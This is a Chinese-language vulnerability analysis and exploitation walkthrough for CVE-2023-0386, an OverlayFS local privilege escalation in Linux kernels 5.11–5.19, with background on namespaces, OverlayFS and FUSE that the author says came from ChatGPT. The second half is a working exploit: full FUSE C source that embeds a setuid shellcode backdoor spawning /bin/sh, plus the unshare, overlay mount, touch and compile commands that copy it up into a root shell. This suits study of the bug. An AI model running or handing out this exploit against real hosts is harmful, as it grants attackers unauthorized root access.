gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp
本文的理论知识(命名空间、overlay文件系统、fuse文件系统等)均来自chatGPT。
漏洞编号: CVE-2023-0386
漏洞产品: linux kernel - overlay文件系统
影响范围: 5.11 ~ 5.19
利用条件: 可以unshar 或可以创建overlay文件系统
利用效果: 本地提权
自己编译内核:
准备漏洞版本范围内的,5.15版本之外的(5.15貌似有坑),开启overlay 和fuse 两个fs:
CONFIG_SLUB_DEBUGOVERLAY_FS
CONFIG_FUSE_FS
ubuntu 21.10 内核版本5.13.0-16-generic实测可以完成:
在漏洞分析之前,我们先让chatGPT cosplay一下linux内核专家:
(询问chatGPT:下面你扮演一个linux内核专家,帮助我解答一些问题)
漏洞的公开信息比较少,比较直接的就是漏洞的补丁信息,补丁链接如下:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4f11ada10d0a
可以看到是在ovl_copy_up_one
函数中增加了一个判断,我们先问一下chatGPT,这个函数是做什么的:
所以这个函数是发生在,overlay文件系统的下层文件向上层拷贝的动作中,然后我们结合上下文来看这个补丁新加的判断:
static int ovl_copy_up_one(struct dentry *parent, struct dentry *dentry,
int flags)
{
int err;
DEFINE_DELAYED_CALL(done);
struct path parentpath;
struct ovl_copy_up_ctx ctx = {
.parent = parent,
.dentry = dentry,
.workdir = ovl_workdir(dentry),
};
if (WARN_ON(!ctx.workdir))
return -EROFS;
ovl_path_lower(dentry, &ctx.lowerpath);
err = vfs_getattr(&ctx.lowerpath, &ctx.stat,//[1] 获取底层文件系统的stat
STATX_BASIC_STATS, AT_STATX_SYNC_AS_STAT);
if (err)
return err;
//[2]补丁新加判断文件的stat属性中的用户id和用户组id是否在当前命名空间有映射
if (!kuid_has_mapping(current_user_ns(), ctx.stat.uid) ||
!kgid_has_mapping(current_user_ns(), ctx.stat.gid))
return -EOVERFLOW;
[1] 首先通过vfs_getattr
函数获取底层文件系统目标文件的属性。vfs_getattr
函数获通过传入一个文件的struct path
结构来获取这个文件对应的struct stat
结构
[1.1] ctx.lowerpath
为overlay文件系统中的下层文件系统的某文件路径,overlay文件系统会在后文介绍。
[1.2] struct stat
结构存放文件的元数据信息,包括文件的属主属组等。而获取到的文件属主信息就会在下面补丁新加的判断中进行判断。
[2] 然后调用kuid_has_mapping
函数对上面刚刚获取到的文件的属主信息和属组信息进行判断。判断目标文件属主和属组是否在当前用户命名空间中有映射。
[2.1] kuid_has_mapping
函数传入两个参数,一个struct user_namespace
用户命名空间结构体和一个struct kuid
内核用户结构体,该函数会判断给定的用户信息是否在给定的用户命名空间中有映射,关于命名空间中用户的映射会在下文详细介绍。
所以我们知道,现在在进行该含有漏洞函数(ovl_copy_up_one
)操作的时候,如果目标下层文件的属主用户或属组用户在当前命名空间中没有映射的话,就会失败。
那么补丁原理便清楚了,但即便如此,我们还需要解决下面问题,才可完成这个漏洞的复现:
- 如何触发目标函数
ovl_copy_up_one
所在的逻辑,即overlay文件系统中下层文件向上层拷贝? - 判断属主是否被映射的文件
lowerpath
究竟在上面逻辑链中扮演什么角色?
那么在求解这两个疑问之前,我们需要搞清楚一些基本知识:
(询问chatGPT:请介绍一下linux内核中的命名空间)
在Linux中,命名空间(namespaces)是一种内核特性,用于实现资源隔离。通过命名空间,可以使一组进程看起来好像它们在独立的系统环境中运行,从而提高系统的安全性和可管理性。命名空间在容器技术(如Docker)中起着关键作用,它们使得容器能够在隔离的环境中运行,而不会影响其他容器或主系统。
Linux内核支持7种命名空间(mount、pid、net、ipc、user、time、cgroup),每种命名空间都隔离了一类特定的系统资源。命名空间通过一系列系统调用(如clone
、**unshare
**和setns
)进行创建、修改和管理。容器运行时(如Docker)和其他虚拟化工具会利用这些命名空间特性,为容器提供独立、隔离的运行环境。
其中漏洞补丁新增的判断函数kuid_has_mapping
涉及的是上述7个命名空间中的用户命名空间(user namespace)。
(询问chatGPT:请介绍一下这其中的用户命名空间)
用户命名空间(User Namespace)用于隔离用户ID(UID)和组ID(GID)。通过用户命名空间,可以在不同命名空间中使用独立的用户和组ID集合。这意味着,在一个用户命名空间中的用户和组可能在另一个命名空间中具有不同的ID或权限。用户命名空间可以提高系统的安全性和可管理性,尤其在容器化环境中。
用户命名空间的关键特性就是ID映射:用户命名空间允许将一个命名空间中的UID和GID映射到另一个命名空间中的UID和GID。这意味着,在不同的用户命名空间中,相同的UID和GID可能代表不同的用户和组。例如,一个容器中的root用户(UID 0)可能在主系统中被映射为一个非特权用户。
我们只需要记住以下几点:
- 同一个用户(组),在不同用户命名空间中的uid(gid)不同
- 创建新用户命名空间(做这个创建动作)的用户在新用户命名空间中是root
- 其他用户需要手动映射到新用户空间(修改/proc/[pid]/uid_map;/proc/[pid]/gid_map),这个操作通常需要有初始命名空间中的root权限
- 没有映射的用户会被识别为nobody
如,我使用breeze用户创建一个新的用户命名空间,然后我再该用户命名空间中查看root属主的文件,显示属组为nobody:
这是因为在新命名空间中,root用户是创建该命名空间的breeze用户,而初始命名空间中的root并没有被我手动映射到新命名空间中,所以在新命名空间中被识别为nobody。
所以到这里我们就知道这个补丁的意义了:**对于拷贝的目标overlay 下层文件系统的文件,必须其属主(组)用户(组)在当前命名空间中有映射,才会继续下面的拷贝动作,否则返回错误。**也就是说这种被识别为nobody的情况就会造成拷贝失败。
(询问chatGPT:请介绍一下linux中的overlay文件系统)
Overlay 文件系统(又称为 OverlayFS)是一个 Linux 内核的虚拟文件系统。它允许将两个或多个已存在的目录层次结构(称为“lower”和“upper”层)合并成一个统一的视图。Overlay 文件系统在只读文件系统(如镜像)上实现写入操作的能力时非常有用,因为它可以将写操作重定向到一个叠加的可写层。这种方法在容器技术(如 Docker)中得到广泛应用,因为它提供了一种轻量级、高性能的文件系统虚拟化方案。
- Lower 层:这是基础文件系统层,通常是只读的。一个 Overlay 文件系统可以有一个或多个 lower 层。
- Upper 层:这是一个可写的文件系统层,它存储所有对 lower 层文件的更改。这包括文件修改、创建和删除操作。
- Workdir:这是一个与 upper 层在同一文件系统中的可写目录,用于存储一些中间数据和元数据,以支持 OverlayFS 的正常运行。
- Merged 层:这是一个虚拟的、合成的视图,它将 lower 层和 upper 层合并在一起。当用户访问 Overlay 文件系统时,他们看到的是这个 merged 层。在这个层中,来自 upper 层的更改会覆盖 lower 层的相应文件。对于同名文件,upper 层中的文件优先级更高。对于同名目录,则合并,只判断目录中的文件是否有上下层覆盖屏蔽关系。
可以用下图理解某个overlay文件系统目录的实际上下层文件对应merge层文件的效果:
由于上层文件系统是可写的,所以用户修改来自上层的文件时则直接修改。但如果用户想要修改下层文件系统中的文件,如上图中的file D,由于下层文件系统是只读的,则会将file D拷贝(copy up)到上层变成file D‘然后再进行修改操作,实际修改的是拷贝到上层的file D’,而下层文件系统中的file D本身不会被改变,这也是overlay文件系统中的COW(copy on write 写时复制):
(询问chatGPT:请给我一个创建一个简单overlay文件系统的实际操作的例子)
我们通过如下方法简单演示一下如何创建一个overlay文件系统:
首先,我们需要创建 lower1、lower2、upper 和 work 目录。这些目录将用于 Overlay 文件系统。同时,我们还需要创建一个挂载点(例如,merged)来访问合并后的视图。并向 lower1 和 lower2 目录中添加一些内容:
mkdir lower1 lower2 upper work merged
echo "This is a file in lower1." > lower1/file1.txt
echo "This is a file in lower2." > lower2/file2.txt
使用 mount
命令和 -t overlay
选项来挂载 Overlay 文件系统。您需要指定 lowerdir、upperdir 和 workdir 参数,如下所示:
mount -t overlay overlay -o lowerdir=lower1:lower2,upperdir=upper,workdir=work merged
可以在merge目录中看到来自上下层文件系统的文件:
我们在这个目录中无论是创建新文件、删除文件、修改文件,都只会改变上层文件系统,对下层不影响,如创建一个新文件(实际创建在了upper中):
修改现有文件(将文件从lower1中拷贝到upper然后修改):
总结一下,跟漏洞相关的逻辑就是,当我们修改一个overlay文件系统中的来自下层的文件的时候,会先将这个文件拷贝到上层文件系统,然后进行修改动作。
经过上面的分析,我们基本可以复原出漏洞的全貌,如果一个overlay文件系统发生了copy up操作(尝试修改下层文件,触发下层文件向上层拷贝)的时候:
- 补丁的逻辑:我们不能拷贝还没有在当前用户命名空间映射的用户(组)属主(组)的文件
- 漏洞的逻辑:所有文件都可以正常拷贝,包括没有在当前用户命名空间中映射的用户属主文件。
那么问题就是,为什么拷贝没有映射的用户属主的文件就会造成问题呢?
其实上面问题的答案很简单,拷贝文件并不只是拷贝文件的内容,包括文件的元数据,也就是文件的属主信息、时间戳、权限信息、还有扩展信息如capbilities等都会一起拷贝过来。引发的风险就是,如果下层文件系统是一个用户文件系统(如fuse),用户高度可控,可以自定义任何文件,但该文件系统存在限制(如nosuid),那么本漏洞就允许将下层用户自定义的suid文件从一个nosuid 文件系统拷贝到一个正常文件系统中,导致非法的suid文件获得suid特权。进而造成提权。
(询问chatGPT:请介绍一下fuse文件系统)
FUSE(Filesystem in Userspace)是一种文件系统接口,允许用户在用户空间(而非内核空间)实现和运行自定义的文件系统。FUSE 设计的目的是简化文件系统的开发和部署,同时提供良好的性能和安全性。FUSE 在 Linux 和其他类 Unix 系统(如 macOS 和 FreeBSD)上广泛使用。
其实简单的来说就是,fuse文件系统允许我们自己在用户层定义文件系统的一些回调函数(如open、write、readdir、甚至是getattr等文件元数据信息)。
下面的fuse文件系统代码(by chatGPT)既可以作为一个例子来学习,也可以用于后续的漏洞利用:
(询问chatGPT:请给我一个fuse文件系统的简单代码示例,这个文件系统中有一个hello文件,文件内容是一个"helloworld"字符串,并且这个文件是一个root属主的setuid文件)
经过简单修改(修改文件内容为后门二进制数据,修改一些文件权限设置,文件大小等):
#define FUSE_USE_VERSION 30
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
static const char *hello_path = "/hello";//fuse文件系统中有一个名为hello的文件,这里是文件路径
const char hello_str[] = {//fuse文件系统中的suid 后门文件的二进制内容
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};
static int hellofs_getattr(const char *path, struct stat *stbuf)//获取文件或目录的属性信息的回调函数getattr
{
int res = 0;
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0) {//fuse文件系统根目录的权限,0755
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
} else if (strcmp(path, hello_path) == 0) {//hello文件的权限,777并且带有SUID
stbuf->st_mode = S_IFREG | S_ISUID | 0777;
stbuf->st_nlink = 1;
stbuf->st_size = sizeof(hello_str); //hello文件实际大小
} else {
res = -ENOENT;
}
return res;
}
static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi)//获取目录信息的函数
{
(void) offset;
(void) fi;
if (strcmp(path, "/") != 0) {//目前只支持查看fuse的根目录
return -ENOENT;
}
filler(buf, ".", NULL, 0);//默认显示.和..
filler(buf, "..", NULL, 0);
filler(buf, hello_path + 1, NULL, 0);//fuse根目录有一个hello文件
return 0;
}
static int hellofs_open(const char *path, struct fuse_file_info *fi)//打开文件的open回调函数
{
if (strcmp(path, hello_path) != 0) {//只支持打开hello文件
return -ENOENT;
}
return 0;
}
static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
struct fuse_file_info *fi)//读文件的回调函数read
{
size_t len;
(void) fi;
if(strcmp(path, hello_path) != 0) {//只支持读hello文件
return -ENOENT;
}
len = sizeof(hello_str);
if (offset < len) {
if (offset + size > len) {
size = len - offset;
}
memcpy(buf, hello_str + offset, size);//返回hello文件的内容,即上面的二进制数组
} else {
size = 0;
}
return size;
}
static struct fuse_operations hellofs_oper = {//只实现上述四个回调函数已经够了
.getattr = hellofs_getattr,
.readdir = hellofs_readdir,
.open = hellofs_open,
.read = hellofs_read,
};
int main(int argc, char *argv[])
{
return fuse_main(argc, argv, &hellofs_oper, NULL);//注册回调函数
}
上述代码创建了一个fuse文件系统,但里面只有一个文件hello,其内容是一段二进制后门程序,并且它的权限是root属主的setuid文件。一共只实现了四个回调函数,只能用于最基本的查看和打开和读取hello文件。我们可以通过如下命令编译和挂载fuse文件系统:
gcc -Wall hellofs.c `pkg-config fuse --cflags --libs` -o hellofs
mkdir fusefs
./hellofs ./fusefs
然后可以在fusefs目录中看到我们的hello文件,是一个root属主的suid文件:
**但是普通用户无法开启suid挂载fuse文件系统,也就是说普通用户挂载的fuse文件系统都是nosuid的。**所以现在即便执行这个suid 的后门文件,我们也无法获得root的权限:
接下来我们用CVE-2023-0386漏洞和上述fuse文件系统来完成提权操作。
-
首先我们需要根据漏洞场景构造出一个overlay文件系统,使用fuse文件系统作为下层文件系统,找一个我们可写的目录作为上层文件系统,先创建出workdir等overlay相关目录,并挂载fuse文件系统
mkdir hello_mount_point overlay_mount_point upperdir workdir #创建相关目录 ./hellofs hello_mount_point #挂载fuse文件系统
-
然后创建一个新的用户命名空间和mount命名空间还有pid命名空间,因为我们接下来需要创建overlay文件系统,默认情况下我们没有mount权限,所以需要在新的命名空间中获得mount的权限。
unshare -Urm
-
创建overlay文件系统,使用上面的携带suid后门文件hello的fuse文件系统作为下层,上层就是我们可写的upper目录:
mount -t overlay overlay -o lowerdir=hello_mount_point,upperdir=upperdir,workdir=workdir overlay_mount_point
overlay当前效果如下图
现在我们的目标就是利用漏洞,将suid后门文件从nosuid挂载的fuse文件系统中拷贝到upper文件系统中,upper文件系统是操作系统的默认文件系统,是有suid的,这个操作会将后门文件连同他的suid属性一并拷贝过来。所以我们目前需要触发overlay文件系统的copy up操作,该操作通常是在我们尝试修改下层文件时触发的,这也是我们在fuse文件系统中将hello文件权限设置为777的原因。
其实修改文件并不只是指修改文件内容,对于文件的其他属性的修改,比如文件时间戳等,也会触发copy up操作。而touch 命令在尝试创建一个已经存在的文件的时候不会覆盖已经存在的文件,而是只修改文件的访问时间和修改时间的时间戳,而时间戳信息也算文件的attr扩展信息,该信息被修改同样会触发overlay文件系统的向上拷贝。
调用栈如下,由于修改了文件的访问和修改时间戳,在ovl_setattr中触发了向上拷贝copy up:
-
所以回到上面的操作步骤之中,我们只需要进入overlay文件系统的merge目录,使用touch修改后门文件hello的时间戳即可:
touch overlay_mount_point/hello
然后这里已经触发了copy up:
我们查看上层目录即upper目录:
ls -al upperdir
然后退出命名空间执行upperdir/hello
即可获得root shell:
见exp.c
编译与执行:
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp
所以这个补丁的意义在于,如果像我们这样操作来提权的话,那么初始命名空间中的root用户必然在新用户命名空间中没有得到映射(我们也没办法映射,因为这需要特权),那么操作就会失败。而如果这个用户已经在新用户命名空间中得到映射,则认为是合法的场景。